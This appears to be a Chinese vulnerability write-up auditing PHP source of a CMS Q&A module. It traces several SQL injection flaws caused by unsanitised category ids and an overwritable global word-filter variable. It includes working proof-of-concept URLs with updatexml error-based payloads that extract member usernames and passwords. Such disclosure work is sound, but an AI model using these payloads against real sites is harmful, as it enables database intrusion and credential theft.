首先在inc/common.inc.php中
isset($page) && $page = intval($page); isset($id) && $id = intval($id); isset($aid) && $aid = intval($aid); isset($rid) && $rid = intval($rid); isset($fid) && $fid = intval($fid);
对fid intval。 0x01 zhidao/ask.php中
elseif($step==4){ if(is_array($fiddb)){ foreach($fiddb as $f) $fid=$f;//重新定义 导致没有intval } if(!$fid) showerr("请选择一个问题分类"); if($Fid_db[$fid]){ showerr("选择的分类必须是终级栏目,而不能是父分类"); } $webdb[title_max_length]=$webdb[title_max_length]?$webdb[title_max_length]:80; if(!$title) showerr("题目不能为空"); if(strlen($title)<6) showerr("题目不能少于6个字符"); if(strlen($title)>$webdb[title_max_length])showerr("题目长度超出范围,并且不能大于$webdb[title_max_length]字符"); if($money && !is_numeric($money)) showerr("悬赏的分数必须是半角的数字"); $webdb[content_max_length]=$webdb[content_max_length]?$webdb[content_max_length]:20000; if(strlen($content)>$webdb[content_max_length])showerr("问题内容长度超出范围,并且不能大于$webdb[content_max_length]字符"); if(!$lfjid && !$guest) $guest="游客".rand(0,9).rand(0,9).rand(0,9).rand(0,9); //积分检验 if($lfjuid) $lfjdb[money] = get_money($lfjuid); if($money>0){ if(!$lfjuid) showerr("游客不能添加悬赏"); if( $lfjdb[money]<intval($money) ) { showerr("你设置的悬赏积分不能大于你自身的积分:$lfjdb[money]"); } }
$fids=get_sonsfids($fid,true); $fids_str=$fid.str_replace(",,",",",$fids);//这里把重新定义的fid拼接进来 $thissort=$db->get_one("SELECT COUNT(*) as num FROM {$_pre}content WHERE sortid in ($fids_str)");//带入查询。 if($thissort[num]>0)$db->query("UPDATE {$_pre}sort SET `qa_quantity`={$thissort[num]} WHERE fid=$fid");
0x02 zhidao/editbaike.php中
if(!$fid || $Fidbaike_db[$fid]) $fid=$fidold;//如果没定义fid 直接给了fidold 而在全局文件中 $fidold 是没有被intval的 if(!$fid) showerr("问题分类必须选择"); $webdb[baiketitle_max_length]=$webdb[baiketitle_max_length]?$webdb[baiketitle_max_length]:80; if(!$title) showerr("题目不能为空"); if(strlen($title)>$webdb[baiketitle_max_length])showerr("题目长度超出范围,并且不能大于$webdb[title_max_length]字符"); $webdb[baikecontent_max_length]=$webdb[baikecontent_max_length]?$webdb[baikecontent_max_length]:20000; if(strlen($content)>$webdb[baikecontent_max_length])showerr("问题内容长度超出范围,并且不能大于$webdb[baikecontent_max_length]字符"); $title=replace_bad_word(htmlspecialchars($title)); if(!$webdb[inputcontentype])$content=htmlspecialchars($content); $ifcheck=0; $SQL="UPDATE {$_pre}content_baike SET title='$title',sortid='$fid',content='$content' WHERE aid='$aid'"; if($db->query($SQL)){ $this_id=$aid; /*粗略计算类目的问题数量*/ $fids=get_baikesonsfids($fid,true); $fids_str=$fid.str_replace(",,",",",$fids);//再次拼接 $thissort=$db->get_one("SELECT COUNT(*) as num FROM {$_pre}content_baike WHERE sortid in ($fids_str)");//带入查询 if($thissort[num]>0)$db->query("UPDATE {$_pre}sort_baike SET `qa_quantity`={$thissort[num]} WHERE fid='$fid'");
http://web/new/zhidao/zhidao/editbaike.php?step=2&aid=1&fidold=1) and updatexml(1,concat(0x5e24,(select concat(username,password) from qb_members limit 1),0x5e24),1)%23&title=aaaaaaa
0x03 在inc/common.inc.php中 unset($label_hf,$label,$webdb,$Html_Type,$erp,$ltitle,$memberlevel,$showHtml_Type,$chdb,$fidDB,$rsdb,$ModuleDB,$city_DB,$Mdomain,$Murl,$choose_class,$foot_tpl,$head_tpl); 并没有对Limitword unset 而在其他系统中一些都unset了。 导致了以前的一个老洞, 还有几个系统都没Unset 把剩下没unset的系统都unset了算了把。 zhidao/editbaike.php中
if($step){ if(is_array($fiddb)){ foreach($fiddb as $f) $fid=$f; } if(!$fid || $Fidbaike_db[$fid]) $fid=$fidold; if(!$fid) showerr("问题分类必须选择"); $webdb[baiketitle_max_length]=$webdb[baiketitle_max_length]?$webdb[baiketitle_max_length]:80; if(!$title) showerr("题目不能为空"); if(strlen($title)>$webdb[baiketitle_max_length])showerr("题目长度超出范围,并且不能大于$webdb[title_max_length]字符"); $webdb[baikecontent_max_length]=$webdb[baikecontent_max_length]?$webdb[baikecontent_max_length]:20000; if(strlen($content)>$webdb[baikecontent_max_length])showerr("问题内容长度超出范围,并且不能大于$webdb[baikecontent_max_length]字符"); $title=replace_bad_word(htmlspecialchars($title));//这里并没有filerate if(!$webdb[inputcontentype])$content=htmlspecialchars($content); $ifcheck=0; $SQL="UPDATE {$_pre}content_baike SET title='$title',sortid='$fid',content='$content' WHERE aid='$aid'";
function replace_bad_word($str){ global $Limitword; @include_once(ROOT_PATH."data/limitword.php"); foreach( $Limitword AS $old=>$new){ strlen($old)>2 && $str=str_replace($old,trim($new),$str); } return $str; }
global $Limitword 了 且全局中没有unset 可以导致替换任意为空。 http://web/new/zhidao/zhidao/editbaike.php?step=1&aid=1&fidold=1&title=%0000'|updatexml(1,concat(0x5e24,(select user()),0x5e24),1)%23&Limitword[000]=
0x04 zhidao/postbaike.php中
elseif($step==4){ if(is_array($fiddb)){ foreach($fiddb as $f) $fid=$f; } if(!$fid) showerr("分类必须选择"); if($Fidbaike_db[$fid]){ showerr("选择的分类必须是终级栏目,而不能是父分类"); } $webdb[baiketitle_max_length]=$webdb[baiketitle_max_length]?$webdb[baiketitle_max_length]:80; !$title && showerr("名称不能为空"); strlen($title)<6 && showerr("名称不能不能少于6个字符"); if(strlen($title)>$webdb[baiketitle_max_length])showerr("名称长度超出范围,且不能大于{$webdb[title_max_length]}字符"); $webdb[baikecontent_max_length]=$webdb[baikecontent_max_length]?$webdb[baikecontent_max_length]:20000; if(strlen($content)>$webdb[baikecontent_max_length])showerr("内容长度超出范围,且不能大于{$webdb[baikecontent_max_length]}字符"); $title=replace_bad_word(filtrate($title)); if(!$webdb[inputcontentype])$content=filtrate($content); $ifcheck=intval($webdb[baikeautocheck]); //插入 $db->query("INSERT INTO `{$_pre}content_baike` (`type`, `sortid` ,`faid`, `uid` , `username` , `title` , `title_strong` , `title_color` , `content` , `imgs` , `addtime` , `hits` , `ifcheck` ) VALUES ('default', '$fid','', '$lfjuid', '$lfjid', '$title', '', '', '$content', '$imgs', '$timestamp', '0', '$ifcheck')"); $this_id = $db->insert_id(); //粗略计算类目的问题数量 $fids = get_baikesonsfids($fid,true); $fids_str=$fid.str_replace(",,",",",$fids); $thissort=$db->get_one("SELECT COUNT(*) as num FROM {$_pre}content_baike WHERE sortid in ($fids_str)"); if($thissort[num]>0)$db->query("UPDATE {$_pre}sort_baike SET `qa_quantity`={$thissort[num]} WHERE fid=$fid"); refreshto("baikeview.php?aid=$this_id","发布成功");
这个跟第一个差不多 就不多说了。